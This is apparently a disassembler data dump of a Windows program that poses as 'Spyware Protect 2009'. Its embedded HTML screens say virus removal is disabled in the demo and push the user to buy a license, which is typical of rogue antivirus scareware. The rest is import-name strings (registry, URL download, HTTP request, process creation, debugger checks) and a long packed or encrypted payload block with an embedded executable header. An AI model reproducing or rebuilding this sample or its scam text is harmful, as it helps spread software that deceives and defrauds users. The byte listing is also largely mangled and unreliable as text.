db '25"/>',0Dh,0Ah
db ' <div id="content" style="margin-top:-125px;" '
db 'class="tabTextBg">',0Dh,0Ah
db ' <div class="tabTextBgPadding">',0Dh,0Ah
db ' <span class="header">Automatic Startu'
db 'p</span>',0Dh,0Ah
db ' <br/>',0Dh,0Ah
db ' <p>',0Dh,0Ah
db ' When this feature is enabled Spyware '
db 'Protect 2009 will start each time when you turn your computer on.'
db 0Dh,0Ah
db ' </p>',0Dh,0Ah
db ' <input class="checkbox" type="checkbo'
db 'x" id="load-on-startup" checked><span>Enable start the program wh'
db 'en Windows start</span>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1'
db '25"/>',0Dh,0Ah
db ' <div id="content" style="margin-top:-125px;" '
db 'class="tabTextBg">',0Dh,0Ah
db ' <div class="tabTextBgPadding">',0Dh,0Ah
db ' <span class="header">Automatic scan y'
db 'our computer</span>',0Dh,0Ah
db ' <br/>',0Dh,0Ah
db ' <p>',0Dh,0Ah
db ' When this feature is enabled Spyware '
db 'Protect 2009 will scan your computer after each run.',0Dh,0Ah
db ' </p>',0Dh,0Ah
db ' <input class="checkbox" type="checkbo'
db 'x" id="scan-on-startup"><span>Enable scan on run</span>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' <div id="activate-panel" class="rightColumnPaddin'
db 'g" style="display:none;">',0Dh,0Ah
db ' <table class="contentHeader" border="0" cells'
db 'pacing="0" cellpadding="0">',0Dh,0Ah
db ' <tr>',0Dh,0Ah
db ' <td class="contentHeaderPadding-tab">',0Dh,0Ah
db ' <img class="verticalAlignMiddle margi'
db 'nHeaderIcon" src="header-icon.gif" width="19" height="23" border='
db '"0">',0Dh,0Ah
db ' <span>Demo version</span>',0Dh,0Ah
db ' </td>',0Dh,0Ah
db ' </tr>',0Dh,0Ah
db ' </table>',0Dh,0Ah
db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1'
db '65"/>',0Dh,0Ah
db ' <div id="content" class="tabTextBg" style="to'
db 'p:-165px;">',0Dh,0Ah
db ' <div class="tabTextBgPadding">',0Dh,0Ah
db ' <img class="verticalAlignMiddle" src='
db '"arrow.gif" width="29" height="29" border="0" alt="Alt text"> <sp'
db 'an class="header">Activate full version</span>',0Dh,0Ah
db ' <br/>',0Dh,0Ah
db ' <p>',0Dh,0Ah
db ' This is demo version of Spyware P'
db 'rotect 2009.',0Dh,0Ah
db ' Please note that removal feature '
db 'is disabled in demo mode.',0Dh,0Ah
db ' To be able remove viruses found a'
db 'nd protect your PC, you should purchase a license.',0Dh,0Ah
db ' </p>',0Dh,0Ah
db ' <div class="activeBut" style="padding'
db '-top:6px;" onclick="purchaseDialog(',27h,'show',27h,');"> Ac'
db 'tivate Spyware Protect</div>',0Dh,0Ah
db 0Dh,0Ah
db ' <br/>',0Dh,0Ah
db ' ',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' </div>',0Dh,0Ah
db 9,' </div>',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' ',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' </div> ',0Dh,0Ah
db ' ',0Dh,0Ah
db ' </div>',0Dh,0Ah
db ' ',0Dh,0Ah
db ' <div id="footerBlock"><!-- footer --></div>',0Dh,0Ah
db 0Dh,0Ah
db ' </div>',0Dh,0Ah
db '</body>',0Dh,0Ah
db '</html>',0
align 10h
aHtmlHeadScri_0 db '<html>',0Dh,0Ah
db '<head>',0Dh,0Ah
db '<script src="JS/HtmlControl.js"></script>',0Dh,0Ah
db '<script type="text/javascript">',0Dh,0Ah
db 'external.Show(',27h,'center',27h,', 738, 600);',0Dh,0Ah
db 'document.onselectstart =',0Dh,0Ah
db ' function () { return false; };',0Dh,0Ah
db 'function noError(){return true;}',0Dh,0Ah
db 'window.onerror = noError;',0Dh,0Ah
db 0Dh,0Ah
db 'function redir(url)',0Dh,0Ah
db '{',0Dh,0Ah
db 'window.location.href=url;',0Dh,0Ah
db '}',0Dh,0Ah
db '</script>',0Dh,0Ah
db '</head>',0Dh,0Ah
db '<body onload="external.first();">',0Dh,0Ah
db '</body>',0Dh,0Ah
db '</html>',0Dh,0Ah,0
align 10h
aResizingElemen db '// resizing elements (winuser.h)',0Dh,0Ah
db 'HTLEFT = 10;',0Dh,0Ah
db 'HTRIGHT = 11;',0Dh,0Ah
db 'HTTOP = 12;',0Dh,0Ah
db 'HTTOPLEFT = 13;',0Dh,0Ah
db 'HTTOPRIGHT = 14;',0Dh,0Ah
db 'HTBOTTOM = 15;',0Dh,0Ah
db 'HTBOTTOMLEFT = 16;',0Dh,0Ah
db 'HTBOTTOMRIGHT = 17;',0Dh,0Ah
db 'HTBORDER = 18;',0Dh,0Ah
db 0Dh,0Ah
db 'function $(id)',0Dh,0Ah
db '{',0Dh,0Ah
db ' return document.getElementById(id);',0Dh,0Ah
db '}',0Dh,0Ah,0
align 4
dd 13Fh dup(0)
dd 140h, 1C05Ch, 65724601h, 62694C65h, 79726172h, 6F4C0100h
dd 65526461h, 72756F73h, 1006563h, 61657243h, 72506574h
dd 7365636Fh, 1005773h, 64616F4Ch, 7262694Ch, 45797261h
dd 1005778h
aWaitforsingleo db 'WaitForSingleObject',0
db 1
aSetevent db 'SetEvent',0
dw 5701h
aAitforsingleob db 'aitForSingleObjectEx',0
db 1, 47h, 65h
aTmodulehandlew db 'tModuleHandleW',0
db 1
aWidechartomult db 'WideCharToMultiByte',0
dd 656C5301h, 1007065h, 79706F43h, 656C6946h, 53010057h
dd 6F657A69h, 73655266h, 6372756Fh, 6C010065h, 63727473h
dd 576E7970h, 65470100h, 6D655474h, 74615070h, 1005768h
dd 646E6946h, 736F6C43h, 52010065h, 74657365h, 6E657645h
dd 43010074h, 74616572h, 65764565h, 57746Eh, 74736C01h
dd 706D6372h, 1005769h, 646E6946h, 7478654Eh, 656C6946h
dd 43010057h, 65736F6Ch, 646E6148h, 100656Ch
aGetwindowsdire db 'GetWindowsDirectoryW',0
db 1, 43h, 72h
aEatethread db 'eateThread',0
db 1
aInterlockedexc db 'InterlockedExchange',0
db 1
aGetacp db 'GetACP',0
db 1
aGetlocaleinfoa db 'GetLocaleInfoA',0
db 1
aGetthreadlocal db 'GetThreadLocale',0
db 1, 47h, 65h
aTversionexa db 'tVersionExA',0
db 1
aInterlockedcom db 'InterlockedCompareExchange',0
dd 61654801h, 65724670h, 47010065h, 72507465h, 7365636Fh
dd 61654873h, 48010070h, 41706165h, 636F6C6Ch, 65470100h
dd 6F725074h, 64644163h, 73736572h, 6F4C0100h, 694C6461h
dd 72617262h, 1004179h
aIsprocessorf_0 db 'IsProcessorFeaturePresent',0
dw 5601h
aIrtualfree db 'irtualFree',0
db 1
aVirtualalloc db 'VirtualAlloc',0
db 1, 53h, 65h
aTenvironmentva db 'tEnvironmentVariableA',0
dw 4301h
aOmparestringw db 'ompareStringW',0
dw 4301h
aOmparestringa db 'ompareStringA',0
dw 4601h
aLushfilebuffer db 'lushFileBuffers',0
db 1
aCreatefilea db 'CreateFileA',0
db 1, 47h, 65h
aTstringtypew db 'tStringTypeW',0
db 1, 47h, 65h
aTstringtypea db 'tStringTypeA',0
db 1, 46h, 69h
aNdresourcew db 'ndResourceW',0
db 1
aLcmapstringa db 'LCMapStringA',0
dw 5701h
aRiteconsolew db 'riteConsoleW',0
db 1, 47h, 65h
aTconsoleoutput db 'tConsoleOutputCP',0
db 1, 57h, 72h
aIteconsolea db 'iteConsoleA',0
db 1
aSetstdhandle db 'SetStdHandle',0
dw 4701h
aEtfileattribut db 'etFileAttributesA',0
dw 4301h
aReateprocessa db 'reateProcessA',0
dw 4701h
aEtexitcodeproc db 'etExitCodeProcess',0
dw 4901h
aNitializecriti db 'nitializeCriticalSectionAndSpinCount',0
db 1, 49h, 73h
aValidcodepage db 'ValidCodePage',0
dw 4701h
aEtoemcp db 'etOEMCP',0
db 1
aGetcpinfo db 'GetCPInfo',0
db 1
aGetconsolemode db 'GetConsoleMode',0
db 1
aGetconsolecp db 'GetConsoleCP',0
db 1, 53h, 65h
aTfilepointer db 'tFilePointer',0
db 1, 47h, 65h
aTcurrentproces db 'tCurrentProcessId',0
dw 4701h
aEttickcount db 'etTickCount',0
db 1
aQueryperforman db 'QueryPerformanceCounter',0
db 1, 47h, 65h
aTfiletype db 'tFileType',0
dw 5301h
aEthandlecount db 'etHandleCount',0
dw 4701h
aEtenvironments db 'etEnvironmentStringsW',0
dw 4601h
aReeenvironment db 'reeEnvironmentStringsW',0
db 1
aGetenvironment db 'GetEnvironmentStrings',0
dw 4601h
aReeenvironme_0 db 'reeEnvironmentStringsA',0
db 1
aHeapsize db 'HeapSize',0
db 1, 54h, 6Ch
aSfree db 'sFree',0
dw 5401h
aLssetvalue db 'lsSetValue',0
db 1
aTlsalloc db 'TlsAlloc',0
db 1, 54h, 6Ch
aSgetvalue db 'sGetValue',0
dw 4701h
aEtmodulefilena db 'etModuleFileNameA',0
dw 4701h
aEtstdhandle db 'etStdHandle',0
db 1
aWritefile db 'WriteFile',0
db 1
aHeapcreate db 'HeapCreate',0
db 1
aRtlunwind db 'RtlUnwind',0
dw 4701h
aEtstartupinfoa db 'etStartupInfoA',0
db 1
aGetcommandline db 'GetCommandLineA',0
db 1
aGetsystemtimea db 'GetSystemTimeAsFileTime',0
db 1, 48h, 65h
aAprealloc db 'apReAlloc',0
dw 4401h
aEletefilea db 'eleteFileA',0
db 1
aIsdebuggerpres db 'IsDebuggerPresent',0
dw 5301h
aEtunhandledexc db 'etUnhandledExceptionFilter',0
db 1
aUnhandledexcep db 'UnhandledExceptionFilter',0
db 1, 54h, 65h
aRminateprocess db 'rminateProcess',0
db 1
aVirtualquery db 'VirtualQuery',0
db 1, 46h, 69h
aNdfirstfilew db 'ndFirstFileW',0
db 1, 45h, 78h
aItprocess db 'itProcess',0
dw 4701h
aEtcurrentthrea db 'etCurrentThreadId',0
dw 4401h
aEletecriticals db 'eleteCriticalSection',0
db 1, 45h, 6Eh
aTercriticalsec db 'terCriticalSection',0
db 1
aSetlasterror db 'SetLastError',0
db 1, 6Ch, 73h
aTrlena db 'trlenA',0
db 1
aGetlasterror db 'GetLastError',0
db 1, 52h, 61h
aIseexception db 'iseException',0
db 1, 46h, 6Ch
aUshinstruction db 'ushInstructionCache',0
dd 74654701h, 74737953h, 6E496D65h, 1006F66h, 74726956h
dd 506C6175h, 65746F72h, 1007463h, 626F6C47h, 6E556C61h
dd 6B636F6Ch, 736C0100h, 656C7274h, 100576Eh
aMultibytetowid db 'MultiByteToWideChar',0
db 1
aLstrcmpw db 'lstrcmpW',0
dw 4701h
aEtmodulefile_0 db 'etModuleFileNameW',0
dw 4D01h
aUldiv db 'ulDiv',0
dw 4C01h
aEavecriticalse db 'eaveCriticalSection',0
dd 6F6C4701h, 416C6162h, 636F6C6Ch, 6E490100h, 61697469h
dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 6E6F69h
dd 6F6C4701h, 4C6C6162h, 6B636Fh, 74654701h, 72727543h
dd 50746E65h, 65636F72h, 1007373h, 65746E49h, 636F6C72h
dd 4464656Bh, 65726365h, 746E656Dh, 6E490100h, 6C726574h
dd 656B636Fh, 636E4964h, 656D6572h, 100746Eh, 614D434Ch
dd 72745370h, 57676E69h, 65470100h, 646F4D74h, 48656C75h
dd 6C646E61h, 4165h, 14Dh, 1C000h, 67655201h, 736F6C43h
dd 79654B65h, 65520100h, 65755167h, 6E497972h, 654B6F66h
dd 1005779h, 44676552h, 74656C65h, 79654B65h, 52010057h
dd 65446765h, 6574656Ch, 756C6156h, 1005765h, 4F676552h
dd 4B6E6570h, 78457965h, 52010057h, 6E456765h, 654B6D75h
dd 57784579h, 65520100h, 74655367h, 756C6156h, 57784565h
dd 65520100h, 65755167h, 61567972h, 4565756Ch, 1005778h
dd 43676552h, 74616572h, 79654B65h, 577845h, 15A00h, 1C02800h
dd 69420100h, 746C4274h, 65440100h, 6574656Ch, 1004344h
dd 61657243h, 69426574h, 70616D74h, 65470100h, 76654474h
dd 43656369h, 737061h, 6C654401h, 4F657465h, 63656A62h
dd 53010074h, 63656C65h, 6A624F74h, 746365h, 65724301h
dd 43657461h, 61706D6Fh, 6C626974h, 434465h, 65724301h
dd 43657461h, 61706D6Fh, 6C626974h, 74694265h, 70616Dh
dd 74654701h, 656A624Fh, 577463h, 74654701h, 636F7453h
dd 6A624F6Bh, 746365h, 74655301h, 69424944h, 1007374h
dd 61657243h, 6F536574h, 4264696Ch, 68737572h, 1640000h
dd 0C3900000h, 43010001h, 7465476Fh, 65746E49h, 63616672h
dd 646E4165h, 656C6552h, 53657361h, 61657274h, 4F01006Dh
dd 6F4C656Ch, 75526B63h, 6E696E6Eh, 43010067h, 6572436Fh
dd 49657461h, 6174736Eh, 65636Eh, 546F4301h, 4D6B7361h
dd 72466D65h, 1006565h, 49534C43h, 6F724644h, 6F72506Dh
dd 444967h, 534C4301h, 72464449h, 74536D6Fh, 676E6972h
dd 72430100h, 65746165h, 65727453h, 6E4F6D61h, 6F6C4748h
dd 6C6162h, 72745301h, 46676E69h, 476D6F72h, 32444955h
dd 6C4F0100h, 696E4965h, 6C616974h, 657A69h, 656C4F01h
dd 6E696E55h, 61697469h, 657A696Ch, 6F430100h, 43746547h
dd 7373616Ch, 656A624Fh, 1007463h, 61546F43h, 654D6B73h
dd 6C6C416Dh, 100636Fh, 6E556F43h, 74696E69h, 696C6169h
dd 100657Ah, 61546F43h, 654D6B73h, 6165526Dh, 636F6C6Ch
dd 6F430100h, 74696E49h, 696C6169h, 100657Ah, 614D6F43h
dd 61687372h, 746E496Ch, 68547265h, 64616572h, 65746E49h
dd 63616672h, 536E4965h, 61657274h, 6E00006Dh, 2C000001h
dd 0FF0001C2h, 0A2FF0115h, 2FF00h, 0FF0007FFh, 0A1FF0009h
dd 96FF00h, 0FF0008FFh, 4FF0139h, 1A4FF00h, 0FF0095FFh
dd 7B000006h, 64000001h, 10001C2h, 6C656853h, 6F4E5F6Ch
dd 79666974h, 6E6F6349h, 87000057h, 0D4000001h, 10001C3h
dd 444C5255h, 6C6E776Fh, 5464616Fh, 6C69466Fh, 5765h, 192h
dd 1C26Ch, 73694401h, 63746170h, 73654D68h, 65676173h
dd 4D010057h, 5765766Fh, 6F646E69h, 47010077h, 69577465h
dd 776F646Eh, 65440100h, 6E695766h, 50776F64h, 57636F72h
dd 61430100h, 69576C6Ch, 776F646Eh, 636F7250h, 53010057h
dd 69577465h, 776F646Eh, 74786554h, 45010057h, 6C62616Eh
dd 6E695765h, 776F64h, 6E655301h, 73654D64h, 65676173h
dd 52010057h, 61656C65h, 61436573h, 72757470h, 43010065h
dd 74616572h, 6E695765h, 45776F64h, 1005778h, 69577349h
dd 776F646Eh, 68530100h, 6957776Fh, 776F646Eh, 65530100h
dd 79614C74h, 64657265h, 646E6957h, 7441776Fh, 62697274h
dd 73657475h, 65470100h, 72754374h, 50726F73h, 100736Fh
dd 57746553h, 6F646E69h, 736F5077h, 65470100h, 73795374h
dd 6F6C6F43h, 47010072h, 65447465h, 6F746B73h, 6E695770h
dd 776F64h, 64655201h, 57776172h, 6F646E69h, 53010077h
dd 69577465h, 776F646Eh, 676E6F4Ch, 47010057h, 6C447465h
dd 65744967h, 5201006Dh, 61656C65h, 43446573h, 65470100h
dd 616C4374h, 614E7373h, 57656Dh, 73795301h, 506D6574h
dd 6D617261h, 72657465h, 666E4973h, 100576Fh, 57746547h
dd 6F646E69h, 78655477h, 1005774h, 57746547h, 6F646E69h
dd 6E6F4C77h, 1005767h, 61766E49h, 6164696Ch, 65526574h
dd 1007463h, 69676552h, 72657473h, 73616C43h, 57784573h
dd 72540100h, 6C736E61h, 4D657461h, 61737365h, 1006567h
dd 44746547h, 55010043h, 6765726Eh, 65747369h, 616C4372h
dd 417373h, 736F5001h, 69755174h, 73654D74h, 65676173h
dd 68430100h, 6F4C7261h, 57726577h, 72430100h, 65746165h
dd 6E6F6349h, 69646E49h, 74636572h, 65500100h, 654D6B65h
dd 67617373h, 1005765h, 7373654Dh, 42656761h, 57786Fh
dd 73654401h, 796F7274h, 6E6F6349h, 6E450100h, 69615064h
dd 100746Eh, 65696C43h, 6F54746Eh, 65726353h, 1006E65h
dd 74736544h, 57796F72h, 6F646E69h, 47010077h, 69577465h
dd 776F646Eh, 74786554h, 676E654Ch, 576874h, 73654401h
dd 796F7274h, 65636341h, 6172656Ch, 54726F74h, 656C6261h
dd 63530100h, 6E656572h, 6C436F54h, 746E6569h, 65470100h
dd 6E695774h, 52776F64h, 746365h, 74654701h, 7373654Dh
dd 57656761h, 68430100h, 654E7261h, 577478h, 67655201h
dd 65747369h, 6E695772h, 4D776F64h, 61737365h, 576567h
dd 6C694601h, 6365526Ch, 49010074h, 69684373h, 100646Ch
dd 43746553h, 75747061h, 1006572h, 74736F50h, 7373654Dh
dd 57656761h, 65530100h, 726F4674h, 6F726765h, 57646E75h
dd 6F646E69h, 47010077h, 6F467465h, 737563h, 74654701h
dd 65726150h, 100746Eh, 61766E49h, 6164696Ch, 67526574h
dd 4C01006Eh, 4364616Fh, 6F737275h, 1005772h, 69577349h
dd 776F646Eh, 62616E45h, 64656Ch, 74654701h, 65696C43h
dd 6552746Eh, 1007463h, 61657243h, 63416574h, 656C6563h
dd 6F746172h, 62615472h, 57656Ch, 74655301h, 75636F46h
dd 42010073h, 6E696765h, 6E696150h, 47010074h, 6C437465h
dd 49737361h, 456F666Eh, 5778h, 19Dh, 1C364h, 746E4901h
dd 656E7265h, 6F6C4374h, 61486573h, 656C646Eh, 65440100h
dd 6574656Ch, 436C7255h, 65686361h, 72746E45h, 1005779h
dd 65746E49h, 74656E72h, 72657551h, 74614479h, 61764161h
dd 62616C69h, 100656Ch, 65746E49h, 74656E72h, 64616552h
dd 656C6946h, 6E490100h, 6E726574h, 6F437465h, 63656E6Eh
dd 1005774h, 70747448h, 646E6553h, 75716552h, 57747365h
dd 6E490100h, 6E726574h, 704F7465h, 576E65h, 74744801h
dd 65704F70h, 7165526Eh, 74736575h, 0A9000057h, 88000001h
dd 0FF0001C3h, 73h, 50000000h, 4C000045h, 53000401h, 496C6Dh
dd 0
dd 0E0000000h, 0B010300h, 901h, 1BAh, 4E2h, 35000000h
dd 0BDh, 10h, 1D0h, 4000h, 10h, 5000002h, 0
dd 5000000h, 2 dup(0)
dd 6D0h, 4, 2000000h, 800000h, 1000h, 10h, 1000h, 10h
dd 10000000h, 2 dup(0)
dd 0FC000000h, 0DC00027Ch, 0
dd 310h, 3BBh, 0Dh dup(0)
dd 70000000h, 4000024Dh, 3 dup(0)
dd 0DC0001D0h, 3, 5 dup(0)
dd 2E000000h, 74786574h, 0DF000000h, 1B8h, 10h, 1BAh, 4
dd 2 dup(0)
dd 20000000h, 2E600000h, 74616472h, 0CC000061h, 0C1h, 1D0h
dd 0C2h, 1BEh, 2 dup(0)
dd 40000000h, 2E400000h, 61746164h, 98000000h, 62h, 2A0h
dd 44h, 280h, 2 dup(0)
dd 40000000h, 2EC00000h, 63727372h, 0
dd 3BBh, 310h, 3BCh, 2C4h, 2 dup(0)
dd 40000000h, 400000h, 0B40006C0h, 281h, 6CEC700h, 0EF83AF00h
dd 0D496BD90h, 3BCBA886h, 718EF5Ah, 486E7EDEh, 65802DAAh
dd 0A2A86E5Ch, 25377204h, 6971407Dh, 75BD4B87h, 11870B1Ah
dd 65510684h, 59946D50h, 59A80C36h, 669AE057h, 0F228ED84h
dd 0AC6220C0h, 40399CB9h, 86C945D1h, 9116AAA4h, 0D8954662h
dd 9EEEF129h, 0D6FC9A3h, 543FC708h, 49C4F71Fh, 0EB5A677Ah
dd 3C0A4B24h, 46EABD49h, 0B65C1C9h, 0E138C4BCh, 0A4DFB9CAh
dd 69093CEDh, 5C3104AFh, 0F762FB38h, 7D55CA90h, 0F31216D9h
dd 722DAB73h, 9DDBE93h, 0D2737923h, 0A4829Eh, 30D761F0h
dd 44027649h, 36A9DFFDh, 76795A9Eh, 0F544E46Fh, 0E78F78A4h
dd 719CECE2h, 0DE4C8989h, 56BA121Fh, 0EAC9173h, 2DDA8BDAh
dd 6A65969Eh, 69E78DC2h, 0F53CC665h, 3A712518h, 231C0BE8h
dd 8F80AFF7h, 9430F38h, 9A2FB8C7h, 0A823D769h, 24648EF5h
dd 4A8736DCh, 15105E3h, 7611DAFEh, 6B7BC188h, 388A447Dh
dd 8E9CA812h, 34BB22F2h, 8DDDDDF4h, 65898A00h, 48032352h
dd 0FFC64294h, 97A58BEEh, 0EAB1528Bh, 0FEC5442h, 0F25A75BCh
dd 0CDF36E3Bh, 0C9D7BABCh, 0CE5D15BEh, 0B95051ACh, 7BCBE817h
dd 0DAE77F7Ch, 0F1D24F63h, 0B67FD3C4h, 0B46220h, 0A7B857CFh
dd 0F9F19775h, 0A8A32BE9h, 14E48314h, 0C6EF2B2Ah, 2F446616h
dd 2A484E24h, 41666F3Ah, 623A443Ah, 150581B3h, 0AB6A258h
dd 4BA0F04Eh, 802C9ADDh, 0D70DEE35h, 0CED4B81Ch, 51921B01h
dd 90800EDCh, 47DDDEE2h, 0F4DB8AADh, 6D16102Fh, 69D9C0E2h
dd 813799D4h, 0AAB9A75Bh, 0FBA2D81h, 4F4943D8h, 0B9F68FDBh
dd 576F168Bh, 5B804105h, 84CD64BEh, 0E7F97E60h, 83B7B5BEh
dd 1354ED8Ah, 0C5827A3Ch, 38945474h, 0D3193B4Bh, 81E12B56h
dd 1CF0C34Eh, 0E7EC694Fh, 0A8138241h, 54E16105h, 41442BD5h
dd 0F3C8FAE9h, 0AE40F815h, 78BA99CAh, 74C4696Fh, 0B262779Ch
dd 973E9515h, 31B181B0h, 2F23F5A9h, 0A930175Dh, 0AE1341D5h
dd 1FF6A283h, 0CE91763Eh, 4A1F179Ch, 565FAFC4h, 966C2E09h
dd 0A40F4A0Bh, 439E49A9h, 48F96C70h, 0DA55BD22h, 60E926F3h
dd 3FD9ADA7h, 9ADE2964h, 0C42CB724h, 0C554B3D0h, 0D88971E0h
dd 32C34497h, 3683FF8Eh, 0AF8C77CDh, 36700CA5h, 885B9819h
dd 2F450FC2h, 7B5B8B2Fh, 0C95CEF9Ch, 64476BC4h, 6CBB7D6Eh
dd 5A83C95Ch, 84DB8C7Ah, 6A2BF87h, 80B0323Fh, 22E292Eh
dd 145A9198h, 0A170F3BDh, 8F187735h, 0E0D014A7h, 64292D7Dh
dd 0D29C782Dh, 58C1BA7Ch, 9EF42B0Dh, 0CA160EDAh, 0BB888E88h
dd 0C1AD0757h, 0ADE4CA30h, 311F80C8h, 0D8CD10A1h, 0BFB4ACF4h
dd 0D36D9A04h, 664B7214h, 0CC3C07ABh, 24366D48h, 0FE9A5F2Ch
dd 0D08D6DC6h, 0B06D874Bh, 0BD266A43h, 0CFFCBB8Bh, 715637F0h
dd 621F2A23h, 442733B2h, 1B52CAD3h, 3DD484Fh, 2022B1A5h
dd 371CB9C4h, 0A2978BEh, 0E222600Bh, 3A6A420Dh, 63AC4713h
dd 54ECD3C8h, 514574CCh, 7FD6FE00h, 0BAD90522h, 946F8B84h
dd 0F7A0457Dh, 4A3B5481h, 0DD2D7577h, 8E4A8F80h, 0D2ACC9CCh
dd 0DC2E3C9Bh, 0C50AE70Ah, 1B5045h, 0F0D8AD32h, 5086060Fh
dd 1DA5A405h, 0B64DA9DAh, 89097CB2h, 95D08C9Eh, 47B9F6A4h
dd 26E8AF63h, 97D940C7h, 1DC9DF29h, 0E4F0F6BBh, 6F254579h
dd 0D0A3F565h, 2063FA34h, 189EBBE5h, 97400023h, 15FBCD5Bh
dd 3746D2E4h, 9DE03B47h, 0DCC24C6Fh, 5E51E9E5h, 5AB264EFh
dd 7ABE5CF7h, 1936398Ah, 5CDFAA1h, 0FE607B3Eh, 0F185B5B7h
dd 0B612DBF1h, 0B6D2C852h, 2BF03081h, 1BF4BD38h, 3688EFB1h
dd 92AA14C4h, 0EC0CE6A8h, 4C1B68F5h, 632E2A05h, 49B526FFh
dd 29EA2C7h, 0B6C00556h, 0ECFE9D2Bh, 0B7CE6FD6h, 435EDA6Dh
dd 0A88A887Eh, 0B6E306D9h, 1D51B6DDh, 0C9FEDC25h, 0EEF0E2F3h
dd 931E1978h, 66298E57h, 0B24838DEh, 33612DF9h, 0B9FEEA55h
dd 505AA31Dh, 135D523Bh, 91CF53B5h, 88858413h, 0DE1CE51Ah
dd 3CB3D922h, 7519DE93h, 9D0ED300h, 0F6B61170h, 83952EB1h
dd 1464CA27h, 0BB2B2AD5h, 6DF1BBB8h, 9A38686Dh, 0A08132F3h
dd 0AFE4A7DAh, 8561BB36h, 0BDFF8786h, 0EA9623DCh, 92E63C71h
dd 90675DA3h, 6E02E240h, 5005962Bh, 2F11EDF8h, 8027882Ch
dd 561E98F8h, 524C4219h, 0F0E2E6BDh, 0DFDF79CDh, 608E5C55h
dd 0B74053E1h, 6B01E588h, 0D79E8E76h, 3C48E42Ah, 0B2A6EFABh
dd 0DB050D50h, 0F75C7226h, 0F3EED9Ch, 69151DA2h, 0FBCC13CBh
dd 3D6566B9h, 0AF337B89h, 0E58AECE8h, 0C762B352h, 0CA671B1Dh
dd 0CDF76518h, 9D36796Ch, 831BB752h, 0DD2F6565h, 51A4B07Ah
dd 13BEE0D5h, 0BAC94C9Ah, 590EA995h, 3A91F6B4h, 5A2773EAh
dd 0FDC46FF1h, 13B04925h, 15888559h, 9CDD3B54h, 188EF363h
dd 6CCBF8C0h, 5F8D7A62h, 0B9BBBBAEh, 69370151h, 812B48B9h
dd 6F066006h, 2F4DC691h, 7D3BC369h, 0B2E2E4E4h, 51FE8173h
dd 0DF348B16h, 644A9749h, 7E74EC04h, 47608377h, 93D8B4E9h
dd 336600E5h, 62896693h, 0EBC9271Eh, 329605EDh, 8241F073h
dd 0B1C89983h, 84EF00CEh, 1D56ED5Ch, 0FC543B0Ah, 95739A0Fh
dd 0EA594ACBh, 2DDB6B36h, 0F24FDA68h, 0B35F3261h, 9A9B5B63h
dd 7F850FD9h, 11184677h, 0A2CC4808h, 6CD888A6h, 30BE81AFh
dd 0E8D3EBECh, 6C864B10h, 1232D2D3h, 86822C2Fh, 4FC601BBh
dd 0DA645234h, 191001F9h, 43307380h, 0F7D9467Ah, 84BAEF89h
dd 0E3FC4C50h, 3F23B243h, 0CBD0AC30h, 73C61C3Bh, 1C655D64h
dd 881B4D2Dh, 0CA5A7789h, 610913F5h, 6A3AF390h, 8D3A3CEDh
dd 3999F677h, 35D435E8h, 29B8796Ch, 0E363B056h, 63D38E02h
dd 49DAAFD6h, 84286585h, 0F8B2A81h, 0CF6A1AADh, 0D09E72Dh
dd 0E362044Ah, 569141B6h, 9CABB077h, 2CB99D7Eh, 0CEBDF8DEh
dd 0D9575ACBh, 0B8800857h, 19335F7Dh, 3E61D401h, 0C6D9962Eh
dd 7D3A8E90h, 0A8DB17D9h, 32DCA3E0h, 0C8BC547Ah, 3D463077h
dd 0A6DAFC46h, 0AC979CD9h, 47869B40h, 0A1EB51D7h, 7293135Eh
dd 5B365A41h, 0D7A4330Fh, 0E5580664h, 5B87F44Dh, 0F49AFC62h
dd 7C1C82CBh, 395E1354h, 0A9124E32h, 0D5D371A9h, 0B68A70ECh
dd 0B020D4F5h, 0A459C818h, 282AF86h, 469932DBh, 724FF37Dh
dd 800B17Ah, 6A993225h, 0DE3FFA7Eh, 52825E4h, 0A21B1817h
dd 979440F2h, 0F4AAF5CAh, 0ED26407Eh, 337868D3h, 87F261DAh
dd 0D4E612EFh, 38296D41h, 0B1B6DC87h, 0AEA879D5h, 0B5B28F2Ch
dd 0F2A5CDBh, 0D76176Ah, 4746EA41h, 2BCA3F21h, 323F7650h
dd 0C87CB6FBh, 70D155D0h, 253B0E83h, 0E67D468Fh, 0E75ED22Ah
dd 0F8CD439Fh, 404C9C3Ah, 73892AFCh, 62A82395h, 95CFC828h
dd 0BC0F7850h, 5B04C967h, 5D26AD12h, 59ABC33Ch, 0AB894FDFh
dd 100A8424h, 0F173B582h, 0F7AD5106h, 4EA736CEh, 1B4DC452h
dd 763AA63Ch, 9B84E30Fh, 0F41C52F0h, 2BD1B24Dh, 63B3ACB9h
dd 8A1F086Bh, 86449C4Fh, 4CC602E1h, 0A42D8D37h, 70C82AFBh
dd 495F23D3h, 44B4F6EEh, 12941C00h, 928FDB8Fh, 0DB6039Ah
dd 0DB50B965h, 0F8FD1688h, 0E92CF1DCh, 0C71D9A5Fh, 0C85FC72h
dd 2F811A11h, 0FBEE1355h, 9C6DB2CFh, 4827B9EFh, 0FD3C8770h
dd 0FFD261D0h, 67B28541h, 0D16575Eh, 7208686Bh, 19B5D219h
dd 0B2B51E58h, 8AB347EFh, 0C2FD9E0Eh, 0E04C3D51h, 9525A145h
dd 6072A2C8h, 44FC6C0Ch, 0EAE271A7h, 531B4FCCh, 25D2CD98h
dd 0D5220B5Ch
dd 837256A5h, 0FFE57C11h, 735CCBD6h, 0DD1A4821h, 9FE114FBh
dd 679F043Bh, 95E397FAh, 0F9BEBD8Fh, 16EA4D33h, 721018Bh
dd 0BF484C23h, 41B3978h, 60A5FA3Ch, 0AF2D6C48h, 34AAD4F5h
dd 92D38430h, 0CB90AD9h, 7AFCF9Bh, 6E2275CCh, 3A8FBA04h
dd 823FE25Fh, 0EDDB865Fh, 549F5E1Fh, 30572CBh, 5102E98Bh
dd 0CFA2F187h, 798E750Bh, 5A645F3Dh, 78C7001Ch, 0C7A0B309h
